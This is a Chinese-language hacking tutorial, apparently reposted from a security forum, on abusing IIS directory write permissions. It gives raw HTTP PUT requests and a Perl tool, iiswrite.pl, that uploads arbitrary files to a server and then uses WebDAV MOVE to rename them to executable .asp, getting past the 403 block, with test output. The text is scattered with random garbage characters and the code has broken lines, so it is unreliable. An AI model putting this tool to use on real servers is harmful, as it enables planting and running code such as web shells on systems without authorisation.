对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

1 X4 S" i- q* V( c1 T4 F

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

8 Y, H+ ?4 h: Q7 Y, I. G- h

PUT /dir/my_file.txt HTTP/1.1 Host: iis-server Content-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

: j" r: p5 l2 }% P

$ [' J/ O3 S& `/ q2 q# S+ d- lHTTP/1.1 100 Continue % ?; O7 Q, I; o- oServer: Microsoft-IIS/5.0 ( H: e7 {1 [1 [Date: Thu, 28 Feb 2002 15:56:00 GMT

4 i6 B1 R( r+ l0 \

　　接着，我们输入10个字母：

AAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

. f) ]0 D4 i- Z+ b1 s; i

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:08 GMT , A+ v) Q* j4 P" ^ cLocation: http://iis-server/dir/my_file.txt Content-Length: 0 : p( v& t9 T) ?$ E0 A: mAllow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

PUT /dir/my_file.txt HTTP/1.1 2 C1 i. X7 k% _7 x5 Z( N; ?Host: iis-server 2 ~2 G3 t- J* Q; z5 kContent-Length: 10

) t) D* A" H% L- {# R K$ E+ u

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 ~, P; O* ^" E　　Host：是HTTP请求的发送地址 　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

#!/usr/bin/perl - E- R4 m) k/ K: `! K" Puse I:Socket; $ARGC = @ARGV;

) F: K: k- {, z- h

if ($ARGC != 4) { 8 M* y: _# E* |+ t% v+ F" ?: o! ]4 J　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; + a) ]& C. U* v　　exit; } ) b" y. b- J; S3 {3 ?; J% k8 \% s$host = @ARGV[0]; : i% a) W% K8 x- X4 [$port = @ARGV[1]; $file = @ARGV[2]; $path = @ARGV[3];

( ?+ f' ]- `% r& ^/ j: C

@s=stat("$file"); $size = $s[7]; #得到文件大小 print "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, . H1 _7 r+ U5 q0 Q3 VPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path HTTP/1.1\n"; print $sock "Host: $host\n"; + x1 c9 W8 V M2 e: W1 Xprint $sock "Content-Length: $size\n\n"; #sock连接

/ T d X7 x# C4 M

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

1 [/ B7 y+ x3 K# H, q @. s

while (read(FILE,$char,1024)) { #读取文件数据上传 8 P8 u" O2 E3 k0 t4 G% s$ J　　print $sock "$char"; } print $sock "\n\n"; / W/ {, t6 i( j8 X@req = <$sock>; % l9 ^6 G4 z( u% X O9 d) hprint "please wait...\n"; sleep(2); 1 a! I4 B7 G2 Mif ($req[4]=~/200|201/){ ; @ x3 Q* j i& ^# \* P9 {　　print "upfile Succeed!!!" ; #成功显示 } : K( r7 d) U6 ^1 o5 Ielse{ * Y5 F5 ^8 q( x- x8 j- {2 g8 v　　print "upfile faile!!!\n\n"; " N( Z9 E8 U1 y1 Y& G4 t　　print @req;#如果失败显示返回错误 , e, F! u+ u5 X* z2 B; ?/ ~} 0 B" {: L+ q4 r- ~/ o5 }$ kclose $sock; 6 { G: R! Y& j+ m+ _0 ^) Lclose FILE;

　　下面我们测试下：

9 k' p$ U6 x# d4 F" l

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt & L* c H8 ]7 K0 Mkaka.txt size is 14 bytes . F; ~" r( } z6 e3 xplease wait... " {+ m" { J0 u4 g9 zupfile Succeed!!!

C:\Inetpub\Scripts>dir kaka.txt 驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

1 t. w3 o& u4 e7 \+ s* |. ]; w5 d. I

C:\Inetpub\Scripts 的目录

; h: e) f1 c2 n! [9 W& w

2004-05-05 00:37 14 kaka.txt 1 个文件 14 字节 ; ^1 ~4 P, z5 N! P" w7 Q7 }7 p0 个目录 3,871,080,448 可用字节

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

6 a) @0 x( K& o3 c* p

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes / y c# v0 _! D( Rplease wait... # p V- `& A k' W6 a* Oupfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe / _0 M+ i1 K; q- E驱动器 C 中的卷没有标签。 ' A, f6 {( [5 Z Q3 }9 T卷的序列号是 3CD1-479E

( ]3 T* S) j8 B" S* G' V. b* E$ {

C:\Inetpub\Scripts 的目录

5 b3 p) F* S( W

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 : F/ Y7 K" u+ K' A; L. i( j* I0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

# i7 I z( u% d7 w+ ]0 G

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp " S% k) E( y8 a, Wkaka.asp size is 4 bytes please wait... 5 c. x& l8 h" S7 X; pupfile faile!!!

% o j5 }, {" b7 j4 J

HTTP/1.1 100 Continue 0 y1 i5 E# l+ x& d8 e$ q# OServer: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

3 b" p2 B4 D# B$ \8 R: R

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 7 S! T9 ^8 f) hDate: Tue, 04 May 2004 16:45:51 GMT Connection: close v8 t; I1 Z7 r% [* K# FContent-Type: text/html I8 A0 r- j( j4 d5 CContent-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

2 I5 G4 R7 K! x8 v& F

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

" }2 M( W! L- V: |( d- D

D:\>nc 127.0.0.1 80 MOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 Destination: http://127.0.0.1/scripts/kaka.asp

. @! p/ G" N: L

HTTP/1.1 201 Created 6 W( T- k1 }7 _) F4 W+ _! EServer: Microsoft-IIS/5.0 Date: Sun, 05 Oct 2003 09:30:59 GMT Location: http://127.0.0.1/scripts/x.asp # Z" y+ ~6 T7 Q6 Q/ ]Content-Type: text/xml Content-Length: 0

/ G) v; V( e% i L6 J3 F

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

　　测试写asp成功：

7 x2 ?9 L7 }$ f0 ^

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp : a& S' k* _5 J# a f************************************************************ ~+ G+ G: G* z# k' t$ Hcodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ************************************************************ . R) b, d' V6 B; `" ^% Tkaka.asp size is 4 bytes & @! K- e' x4 N" F; M8 Vplease wait... upfile Succeed!!! Modifyfile Succeed!!!

3 \; N4 P7 s- O' F' B9 k6 D7 U4 `

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

( w% ^+ ~# {5 {- t5 F

#!/usr/bin/perl 1 w% J# I$ B5 m- U- R6 V#The iiswrite Script

: l; T( {/ d, i6 \8 G# g' ^

use I:Socket; $ARGC = @ARGV; # |) A* `' z7 L7 h2 L3 w% T" H* Xprint "*" x 60; 1 i t% R3 L7 H/ N! jprint "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; ) z* I7 r: |/ |4 xprint "*" x 60,"\n"; * Y ] f( {8 t, |; s7 Yif ($ARGC != 4) & x' m& y% t; t{ 　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; v6 ^2 g. w6 J- U2 }! n1 m) J　　exit; : F0 W5 D( [/ d} $host = @ARGV[0]; # N2 q) W( G% y' {' _# S! w5 \$port = @ARGV[1]; 2 e) {( E2 H$ m% g$path = @ARGV[3]; ( O7 F! _, K7 u' L+ l/ m$file = @ARGV[2];

1 ~( C' G6 V" P

@path=split("/",$path); 2 [6 ?0 ?/ o' U! v0 M% t$any = pop(@path); / G6 P& `" I* c5 M( ~+ o4 L5 C$path1=join("/",@path); @s=stat("$file"); $ K. M( Q2 p5 T6 a" m$size = $s[7];

print "$file size is $size bytes\n"; my $sock = I:Socket::INET->new(Proto =>"tcp", * V. ^: X; s* ^/ y6 iPeerAddr =>$host, . g5 E% Y4 O6 e4 L' kPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; / P i: e3 N V) [; d8 Q/ Mopen(FILE,"$file")|| die "Can't open $file"; binmode(FILE); while (read(FILE,$char,1024)) { / P* A+ @$ \7 P) T ~+ u: G　　print $sock "$char"; } 1 R. h: l# d, @3 B8 X; Tprint $sock "\n\n"; @req = <$sock>; print "please wait...\n"; $ W: C8 o3 U( asleep(2); 1 Y& S4 p% M5 Xif ($req[4]=~/200|201/){ 3 O( A1 h0 s1 u- M/ Z　　print "upfile Succeed!!!\n" ; 7 H8 V* A( O; Y/ H* [/ b: N} 9 _: i2 D, e7 [/ M$ Y* ]& zelse{ 5 a L# \1 P1 ~9 c, E　　print "upfile faile!!!\n"; } # \6 O! S1 T- ]* P5 k0 r" Z1 C- qclose $sock; * j+ Z1 x7 N- t# m! V7 b2 R2 V4 iclose FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 9 V6 ?0 Q/ k! m8 Vprint $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; & [/ H8 I# h' U) H( s7 A# |@req = <$sock>; 2 h. ?2 |& I6 `7 g7 E. Pif ($req[0]=~/20\d+|/){ 　　print "Modifyfile Succeed!!!" ; % [% j5 L. Y' u: @2 K% h} else{ ; w2 o( Q: C d5 W& P　　print "upfile faile!!!"; } ' E2 c1 N1 M" B$ ]0 j; {close $sock